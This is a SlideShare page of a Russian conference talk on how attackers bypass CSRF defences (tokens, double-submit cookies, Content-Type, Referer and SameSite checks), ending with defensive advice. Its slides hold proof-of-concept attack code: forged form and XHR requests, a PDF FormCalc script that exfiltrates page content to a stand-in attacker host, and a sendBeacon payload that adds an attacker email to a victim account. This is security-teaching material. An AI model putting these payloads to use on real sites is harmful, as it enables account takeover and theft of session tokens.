SlideShare a Scribd company logo
1 of 53
CSRF-уязвимости все
еще актуальны:
как атакующие обходят
CSRF-защиту в вашем
веб-приложении
Михаил Егоров
Дисклеймер
ИНФОРМАЦИЯ в данной
презентации является сугубо
мнением автора …
Crazy Russian hackers
О себе
AppSec Engineer @ Ingram Micro Cloud
Security researcher & Bug hunter
@0ang3el
Почему CSRF-атаки работают?
Веб-приложение использует cookies для управления сессией
пользователя!
Браузер автоматически отправляет cookies вместе с HTTP-запросом,
даже cross-origin
🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
Небольшой фрагмент данных, отправленный веб-сервером и
хранимый на компьютере пользователя, браузер всякий раз
пересылает этот фрагмент данных веб-серверу в составе HTTP-
запроса
Сервер
Клиент
Set-Cookie: name=value; expires=date; path=/; domain=.example.org;
secure; httponly;
Cookie: name=newvalue;
🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
До сих пор используются многими веб-приложениями для
управления сессией пользователя
Впервые сookies появились в браузере Netscape в 1994 году
Классическая CSRF-атака
POST /user/address/shipping HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
city=Moscow&street=Prospekt+Mira&zip=12345
Классическая CSRF-атака
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/user/address/shipping"
method="POST">
<input type="hidden" name="city" value="Moscow" />
<input type="hidden" name="street" value="Prospekt&#32;Mira" />
<input type="hidden" name="zip" value="12345" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
https://attacker.com/csrf-form.html
Классическая CSRF-атака
<script>
var request = new XMLHttpRequest();
var data = 'city=Moscow&street=Prosperkt+Mira&zip=12345';
request.open('POST', 'https://example.com/user/address/shipping', true);
request.withCredentials = true; // INCLUDE COOKIES
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send(data);
</script>
https://attacker.com/csrf-xhr.html
Классическая CSRF-атака
https://example.com
https://attacker.com
csrf-xhr.html
Классическая CSRF-атака
https://example.com
https://attacker.com
https:/attacker.com/csrf-xhr.html
csrf-xhr.html
Классическая CSRF-атака
https://example.com
https://attacker.com
https:/attacker.com/csrf-xhr.html
POST /user/address/shipping HTTP/1.1
HOST: example.com
Cookie: JSESSIONID=728F...
История CSRF-атак
Эксплуатируются с 2001 года
Публичные CSRF-уязвимости в популярных проектах 2008-2012:
1. YouTube
2. The New York Times
3. Badoo
4. Slideshare
5. Vimeo
6. Hulu
7. КиноПоиск
8. …
Насколько серьезны CSRF-уязвимости
Зависит от критичности уязвимого action’a
 …
 Account takeover (смена email)
 Privilege Escalation (создание нового пользователя с высокими
правами)
 Remote code execution (эксплуатация command injection в
админке)
Насколько серьезны CSRF-уязвимости
OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
не вошла в Top 10 – 2017 (RC2)
A8 – 2017 (RC1)
A8 – 2013
А5 – 2010
Насколько серьезны CSRF-уязвимости
Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy
* VRT – Vulnerability Rating Taxonomy
Application-wide CSRF – P2 (High)
Популярные варианты защиты от CSRF
 CSRF token
 Double submit cookie
 Content-Type based protection
 Referer-based protection
 Password confirmation (websudo)
 SameSite Cookies (Chrome, Opera)
You shall not pass!!!
You shall not PASS!!!
Популярные варианты защиты от CSRF
 CSRF token (1 из 6)
 Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии
 Токен вставляется в DOM или доступен через API
 Пользователь должен отправить токен в параметре или
хэдере запроса
 Атакующий не знает токен → классическая CSRF-атака не
работает
Популярные варианты защиты от CSRF
 Double submit cookie (2 из 6)
 Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии помещается в cookies
 Пользователь должен отправить одинаковые значения в
cookies и в параметре запроса
 Атакующий не может изменить cookies → классическая CSRF-
атака не работает
Популярные варианты защиты от CSRF
 Content-Type based protection (3 из 6)
 Пользователь должен отправить запрос с определенным
заголовком Content-Type, например
application/json
 Браузер через форму или XHR не может отправить
произвольный Content-Type cross-origin → классическая CSRF-
атака не работает
Популярные варианты защиты от CSRF
 Referer-based protection (4 из 6)
 Пользователь должен отправить запрос с определенным
заголовком Referer
 Браузер не может отправить произвольный Referer через
форму или XHR → классическая CSRF-атака не работает
Популярные варианты защиты от CSRF
 Password confirmation / websudo (5 из 6)
 Действие либо доступ к критичному функционалу
подтверждается вводом пароля (секрета)
 Атакующий не знает пароля → классическая CSRF-атака не
работает
Популярные варианты защиты от CSRF
 SameSite Cookies в Chrome, Opera (6 из 6)
 Дополнительный атрибут у cookies – samesite (значения lax и
strict)
 Браузер не отправляет cookies, если запрос осуществляется с
сайта атакующего → классическая CSRF-атака не работает
К сожалению… нередко бывает так
«Магия» обхода CSRF-защиты
 XSS
 Dangling markup
 Vulnerable subdomains
 Cookie injection
 Change Content-Type
 Non-simple Content-Type
 Bad PDF
 Referer spoof
А ты думал, я с тобой
шутки шучу
Сценарий обхода – XSS (1 из 8)
XSS (Cross-Site Scripting) в приложении позволяет обойти
большинство типов CSRF-защиты!
Просто
смирись c
этим!!!
Когда есть HTML injection, но нет XSS (например, есть
Content Security Policy - CSP)
Атакующий может заполучить CSRF-токен через Dangling
markup injection
Сценарий обхода – Dangling markup (2 из 8)
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>
Сценарий обхода – уязвимый субдомен (3 из 8)
Один из поддоменов foo.example.com уязвим к subdomain
takeover или XSS
Атакующий сможет обойти следующие типы CSRF-защиты:
 CSRF tokens
 Double submit cookie
 Content-Type based protection
Приложение использует CORS (Cross-Origin Resource Sharing)
для междоменного взаимодействия
Атакующий сможет прочитать CSRF-токен
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true
Сценарий обхода – уязвимый субдомен (3 из 8)
На основном домене есть crossdomain.xml который разрешает
взаимодействие для субдоменов
Атакующий может загрузить файл с JS на foo.example.com
Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/
<cross-domain-policy>
<allow-access-from domain="*.example.com" />
</cross-domain-policy>
Сценарий обхода – уязвимый субдомен (3 из 8)
Атакующий может использовать Service Worker для субдомена
foo.example.com
Через SWF атакующий сможет прочитать CSRF-токен!
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}
Сценарий обхода – уязвимый субдомен (3 из 8)
Атакующий сможет установить cookie для родительского домена на
интересующий path
Браузер выберет cookie с самым длинным path
Тем самым атакующий сможет обойти защиту Double submit cookie
Сценарий обхода – уязвимый субдомен (3 из 8)
Сценарий обхода – bad PDF (4 из 8)
PDF plugin от Adobe поддерживает FormCalc
PDF plugin от Adobe работает в IE11 и Firefox ESR
В FormCalc есть методы get() и post()
Атакующий получает CSRF-токен жертвы
Сценарий обхода – bad PDF (4 из 8)
Допустим, у нас есть возможность загрузить PDF в веб-
приложение (можно загрузить PDF как файл другого формата – картинкy )
У приложения есть API на интересующем домене, которое
позволяет получать содержимое загруженного PDF
Сценарий обхода – bad PDF (4 из 8)
<h1>Nothing to see here!</h1>
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0"
type='application/pdf'>
https://attacker.com/csrf-badpdf.html
Сценарий обхода – bad PDF (4 из 8)
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
leak.pdf
Сценарий обхода – bad PDF (4 из 8)
Фокус в том, что для PDF plugin не важен Content-Type и
другие заголовки (например, Content-Disposition)!
Сценарий обхода – cookie injection (5 из 8)
Атакующий в результате сookie injection сможет обойти
защиту Double submit cookie
Варианты cookie injection
 CRLF injection
 Особенности обработки cookie браузером – comma-separated
cookies (Safari)
 Баги браузера (например, CVE-2016-9078 в FF)
Сценарий обхода – change Content-Type (6 из 8)
Некоторые считают, что нестандартный формат данных в
теле POST-запроса спасает от CSRF !?
SRSLY?
POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
�addNote � � r �
Сценарий обхода – change Content-Type (6 из 8)
<script>
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true;
request.setRequestHeader("Content-type", "text/plain");
var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',
'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>
https://attacker.com/csrf-thrift.html
Сценарий обхода – change Content-Type (6 из 8)
Сценарий обхода – non-simple Content-Type (7 из 8)
Валидные значения content type, которые можно
отправить из HTML-формы и через XHR без OPTIONS
preflight - aka simple content types
 text/plain
 application/x-www-form-urlencoded
 multipart/form-data
Как отправить произвольный Content-Type:
 Баги в браузерах (например, Navigator.sendBeacon)
 Flash plugin + 307 redirect
 PDF plugin + 307 redirect
 Некоторые фреймворки поддерживают URL-
параметры для переопределения Content-Type
http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging
Сценарий обхода – non-simple Content-Type (7 из 8)
Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015
Можно было эксплуатировать с 2015 по 07.2017   
Navigator.sendBeacon() позволял отправить POST-запрос с
любым Content-Type на другой origin
Сценарий обхода – non-simple Content-Type (7 из 8)
<script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc', blob );
}
jsonreq();
</script>
https://attacker.com/csrf-sendbeacon.html
Сценарий обхода – non-simple Content-Type (7 из 8)
Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/
Сценарий обхода – non-simple Content-Type (7 из 8)
Сценарий обхода – spoof Referer (8 из 8)
Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
Еще работает 
Ho работает только для GET-запросов 
Сценарий обхода – spoof Referer (8 из 8)
<script contentType='application/x-formcalc'>
Post("http://attacker.com:8888/redirect",
"{""action"":""add-user-email"",""Email"":""attacker@evil.com""}",
"application/json&#x0a;&#x0d;Referer;&#x20;http://example.com")
</script>
Сценарий обхода – spoof Referer (8 из 8)
В бэкенд будет отправлен header
Некоторые серверы воспринимают пробел как конец имени
HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:`
Referer http://example.com
Имя :Значение
Referer http://example.com
Имя :Значение
Обход CSRF-защиты – Итог
CSRF Tokens
Double Submit
Cookie
CT-based Referer-based SameSite Cookies
XSS All All All All All
Dangling markup All - - - All*
Subdomain issues All All All - All*
Cookie Injection - All - - All*
Change CT - - All - All*
Non-simple CT - - All with Flash plugin,
IE11/FF ESR with Pdf
plugin
- All*
Bad Pdf IE11/FF ESR with
Pdf plugin
- IE11/FF ESR with Pdf
plugin
- All*
Spoof Referer - - - IE11/FF ESR with Pdf
plugin, Edge
All*
All – works for all browsers
All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
Как все-таки правильно защититься от CSRF
Не использовать cookies для управления пользовательской сессией
Как все-таки правильно защититься от CSRF
… eсли не можете отказаться от cookies
 Моделируйте угрозы и проверяйте реализацию (см. Итоговую
таблицу)
 Имплементируйте SameSite Cookies
 Комбинируйте различные CSRF-защиты – defense in depth
 Спрашивайте у пользователя пароль для выполнения критичных
action’ов
 Отдавайте загружаемые файлы с отдельного домена
Q&A

More Related Content

What's hot

Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
Dmitry Evteev
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
kuchinskaya
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
Dmitry Evteev
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
rit2011
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
ISsoft
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
Dmitry Evteev
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future Now
Dmitry Evteev
 

What's hot (19)

Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
 
А не поговорить ли нам о XSS!
А не поговорить ли нам о XSS!А не поговорить ли нам о XSS!
А не поговорить ли нам о XSS!
 
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox ExtensionОранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработки
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
Безопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применениеБезопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применение
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future Now
 

Similar to CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении / Михаил Егоров (Odin — Ingram Micro)

Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
yaevents
 
ONsec browsers security PHD2011
ONsec browsers security PHD2011ONsec browsers security PHD2011
ONsec browsers security PHD2011
d0znp
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
beched
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
d0znp
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
phpdevby
 
Анализ защищенности интернет-проектов
Анализ защищенности интернет-проектовАнализ защищенности интернет-проектов
Анализ защищенности интернет-проектов
Dmitry Evteev
 
Web programming modern tendencies
Web programming modern tendenciesWeb programming modern tendencies
Web programming modern tendencies
DarkestMaster
 
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
ebuc
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
yaevents
 
Cisco AMP: платформа для борьбы с вредоносным кодом
Cisco AMP: платформа для борьбы с вредоносным кодомCisco AMP: платформа для борьбы с вредоносным кодом
Cisco AMP: платформа для борьбы с вредоносным кодом
Cisco Russia
 

Similar to CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении / Михаил Егоров (Odin — Ingram Micro) (20)

PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
ONsec browsers security PHD2011
ONsec browsers security PHD2011ONsec browsers security PHD2011
ONsec browsers security PHD2011
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
IBM Proventia IPS
IBM Proventia IPSIBM Proventia IPS
IBM Proventia IPS
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Анализ защищенности интернет-проектов
Анализ защищенности интернет-проектовАнализ защищенности интернет-проектов
Анализ защищенности интернет-проектов
 
Web programming modern tendencies
Web programming modern tendenciesWeb programming modern tendencies
Web programming modern tendencies
 
Catalyst – MVC framework на Perl (RIT 2008)
Catalyst – MVC framework на Perl  (RIT 2008)Catalyst – MVC framework на Perl  (RIT 2008)
Catalyst – MVC framework на Perl (RIT 2008)
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 
Cisco AMP: платформа для борьбы с вредоносным кодом
Cisco AMP: платформа для борьбы с вредоносным кодомCisco AMP: платформа для борьбы с вредоносным кодом
Cisco AMP: платформа для борьбы с вредоносным кодом
 

More from Ontico

Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Ontico
 

More from Ontico (20)

One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
 
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
 
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
 
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
 
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
 
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
 
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
 
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
 
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
 
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
 
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
 
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
 
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
 
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
 
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
 
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
 
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
 
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
 
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
 
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
 

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении / Михаил Егоров (Odin — Ingram Micro)

  • 1. CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении Михаил Егоров
  • 2. Дисклеймер ИНФОРМАЦИЯ в данной презентации является сугубо мнением автора … Crazy Russian hackers
  • 3. О себе AppSec Engineer @ Ingram Micro Cloud Security researcher & Bug hunter @0ang3el
  • 4. Почему CSRF-атаки работают? Веб-приложение использует cookies для управления сессией пользователя! Браузер автоматически отправляет cookies вместе с HTTP-запросом, даже cross-origin
